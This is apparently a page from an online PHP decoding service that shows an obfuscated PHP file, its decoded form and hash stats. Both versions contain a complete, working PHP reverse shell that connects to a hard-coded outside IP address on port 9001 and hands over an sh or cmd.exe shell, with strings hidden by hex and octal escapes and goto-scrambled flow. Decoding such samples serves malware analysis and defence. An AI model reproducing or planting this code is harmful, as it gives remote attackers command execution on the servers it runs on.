Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto A9Zsn; XgH6P: $sh = new Shell("\x31\x30\x38\56\x31\67\56\71\64\x2e\x32", 90..

Decoded Output download

<?php 
 goto A9Zsn; 
 XgH6P: $sh = new Shell("108.17.94.2", 9001); 
 goto GyPJ5; 
 A9Zsn: class Shell { private $addr = null; 
 private $port = null; 
 private $os = null; 
 private $shell = null; 
 private $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); 
 private $buffer = 1024; 
 private $clen = 0; 
 private $error = false; 
 public function __construct($addr, $port) { $this->addr = $addr; 
 $this->port = $port; 
 } private function detect() { $detected = true; 
 if (stripos(PHP_OS, "LINUX") !== false) { $this->os = "LINUX"; 
 $this->shell = "sh"; 
 } else { if (stripos(PHP_OS, "WIN32") !== false || stripos(PHP_OS, "WINNT") !== false || stripos(PHP_OS, "WINDOWS") !== false) { $this->os = "WINDOWS"; 
 $this->shell = "cmd.exe"; 
 } else { $detected = false; 
 } } return $detected; 
 } private function daemonize() { $exit = false; 
 if ($pid > 0) { $exit = true; 
 } return $exit; 
 } private function settings() { @error_reporting(0); 
 @set_time_limit(0); 
 @umask(0); 
 } private function dump($data) { $data = str_replace("<", "&lt;", $data); 
 $data = str_replace(">", "&gt;", $data); 
 } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { $this->error = true; 
 } return $data; 
 } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { $this->error = true; 
 } return $bytes; 
 } private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($this->os === "WINDOWS" && $oname === "STDIN") { $this->clen += strlen($data); 
 } $this->dump($data); 
 } } private function brw($input, $output, $iname, $oname) { $fstat = fstat($input); 
 $size = $fstat["size"]; 
 if ($this->os === "WINDOWS" && $iname === "STDOUT" && $this->clen) { while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes; 
 $size -= $bytes; 
 } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes; 
 $this->dump($data); 
 } } public function run() { if ($this->detect() && !$this->daemonize()) { $this->settings(); 
 $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); 
 if ($socket) { stream_set_blocking($socket, false); 
 $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); 
 if ($process) { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); 
 } $status = proc_get_status($process); 
 @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status["pid"] . "
"); 
 do { $status = proc_get_status($process); 
 if (feof($socket)) { break; 
 } else { if (feof($pipes[1]) || !$status["running"]) { break; 
 } } $streams = array("read" => array($socket, $pipes[1], $pipes[2]), "write" => null, "except" => null); 
 $num_changed_streams = @stream_select($streams["read"], $streams["write"], $streams["except"], 0); 
 if ($num_changed_streams === false) { break; 
 } else { if ($num_changed_streams > 0) { if ($this->os === "LINUX") { if (in_array($socket, $streams["read"])) { $this->rw($socket, $pipes[0], "SOCKET", "STDIN"); 
 } if (in_array($pipes[2], $streams["read"])) { $this->rw($pipes[2], $socket, "STDERR", "SOCKET"); 
 } if (in_array($pipes[1], $streams["read"])) { $this->rw($pipes[1], $socket, "STDOUT", "SOCKET"); 
 } } else { if ($this->os === "WINDOWS") { if (in_array($socket, $streams["read"])) { $this->rw($socket, $pipes[0], "SOCKET", "STDIN"); 
 } if (($fstat = fstat($pipes[2])) && $fstat["size"]) { $this->brw($pipes[2], $socket, "STDERR", "SOCKET"); 
 } if (($fstat = fstat($pipes[1])) && $fstat["size"]) { $this->brw($pipes[1], $socket, "STDOUT", "SOCKET"); 
 } } } } } } while (!$this->error); 
 foreach ($pipes as $pipe) { fclose($pipe); 
 } proc_close($process); 
 } fclose($socket); 
 } } } } goto XgH6P; 
 GyPJ5: $sh->run(); 
 goto ysT75; 
 ysT75: unset($sh); 
 goto Mc7qU; 
 Mc7qU: ?> 

Did this file decode correctly?

Original Code

<?php
 goto A9Zsn;
 XgH6P: $sh = new Shell("\x31\x30\x38\56\x31\67\56\71\64\x2e\x32", 9001);
 goto GyPJ5;
 A9Zsn: class Shell { private $addr = null;
 private $port = null;
 private $os = null;
 private $shell = null;
 private $descriptorspec = array(0 => array("\x70\151\x70\x65", "\162"), 1 => array("\160\151\160\145", "\167"), 2 => array("\x70\151\x70\x65", "\x77"));
 private $buffer = 1024;
 private $clen = 0;
 private $error = false;
 public function __construct($addr, $port) { $this->addr = $addr;
 $this->port = $port;
 } private function detect() { $detected = true;
 if (stripos(PHP_OS, "\x4c\x49\x4e\125\130") !== false) { $this->os = "\x4c\111\x4e\125\x58";
 $this->shell = "\163\x68";
 } else { if (stripos(PHP_OS, "\127\111\116\63\62") !== false || stripos(PHP_OS, "\127\111\116\x4e\x54") !== false || stripos(PHP_OS, "\127\111\x4e\x44\117\x57\123") !== false) { $this->os = "\x57\x49\116\x44\x4f\127\123";
 $this->shell = "\143\155\x64\56\x65\x78\x65";
 } else { $detected = false;
 } } return $detected;
 } private function daemonize() { $exit = false;
 if ($pid > 0) { $exit = true;
 } return $exit;
 } private function settings() { @error_reporting(0);
 @set_time_limit(0);
 @umask(0);
 } private function dump($data) { $data = str_replace("\x3c", "\46\154\164\x3b", $data);
 $data = str_replace("\x3e", "\x26\x67\164\73", $data);
 } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { $this->error = true;
 } return $data;
 } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { $this->error = true;
 } return $bytes;
 } private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($this->os === "\x57\111\116\104\x4f\127\123" && $oname === "\123\x54\x44\x49\116") { $this->clen += strlen($data);
 } $this->dump($data);
 } } private function brw($input, $output, $iname, $oname) { $fstat = fstat($input);
 $size = $fstat["\163\x69\x7a\145"];
 if ($this->os === "\x57\x49\x4e\104\x4f\127\x53" && $iname === "\x53\124\x44\x4f\x55\124" && $this->clen) { while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes;
 $size -= $bytes;
 } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes;
 $this->dump($data);
 } } public function run() { if ($this->detect() && !$this->daemonize()) { $this->settings();
 $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
 if ($socket) { stream_set_blocking($socket, false);
 $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
 if ($process) { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false);
 } $status = proc_get_status($process);
 @fwrite($socket, "\x53\117\103\x4b\105\124\x3a\x20\x53\150\x65\154\154\40\150\141\x73\40\143\x6f\156\156\x65\143\x74\145\144\x21\x20\120\x49\104\72\x20" . $status["\x70\x69\144"] . "\12");
 do { $status = proc_get_status($process);
 if (feof($socket)) { break;
 } else { if (feof($pipes[1]) || !$status["\x72\165\x6e\x6e\151\156\147"]) { break;
 } } $streams = array("\162\x65\141\x64" => array($socket, $pipes[1], $pipes[2]), "\x77\162\x69\164\x65" => null, "\x65\x78\x63\145\160\x74" => null);
 $num_changed_streams = @stream_select($streams["\x72\x65\x61\x64"], $streams["\167\162\x69\164\145"], $streams["\x65\x78\143\145\x70\x74"], 0);
 if ($num_changed_streams === false) { break;
 } else { if ($num_changed_streams > 0) { if ($this->os === "\x4c\x49\116\x55\x58") { if (in_array($socket, $streams["\x72\145\x61\x64"])) { $this->rw($socket, $pipes[0], "\x53\x4f\103\113\105\124", "\x53\x54\104\111\x4e");
 } if (in_array($pipes[2], $streams["\162\145\141\144"])) { $this->rw($pipes[2], $socket, "\123\x54\104\105\x52\x52", "\x53\x4f\x43\113\x45\124");
 } if (in_array($pipes[1], $streams["\x72\145\x61\x64"])) { $this->rw($pipes[1], $socket, "\x53\124\x44\x4f\x55\x54", "\123\117\103\x4b\105\x54");
 } } else { if ($this->os === "\127\x49\116\x44\x4f\x57\123") { if (in_array($socket, $streams["\x72\x65\141\144"])) { $this->rw($socket, $pipes[0], "\x53\x4f\x43\x4b\x45\x54", "\123\124\x44\x49\x4e");
 } if (($fstat = fstat($pipes[2])) && $fstat["\x73\x69\x7a\145"]) { $this->brw($pipes[2], $socket, "\x53\x54\x44\105\122\122", "\x53\117\103\x4b\105\124");
 } if (($fstat = fstat($pipes[1])) && $fstat["\x73\x69\x7a\x65"]) { $this->brw($pipes[1], $socket, "\123\x54\104\x4f\x55\x54", "\x53\117\x43\113\105\x54");
 } } } } } } while (!$this->error);
 foreach ($pipes as $pipe) { fclose($pipe);
 } proc_close($process);
 } fclose($socket);
 } } } } goto XgH6P;
 GyPJ5: $sh->run();
 goto ysT75;
 ysT75: unset($sh);
 goto Mc7qU;
 Mc7qU: ?>

Function Calls

None

Variables

None

Stats

MD5 a7c1b06ab06134cedafd7311d5dd859d
Eval Count 0
Decode Time 54 ms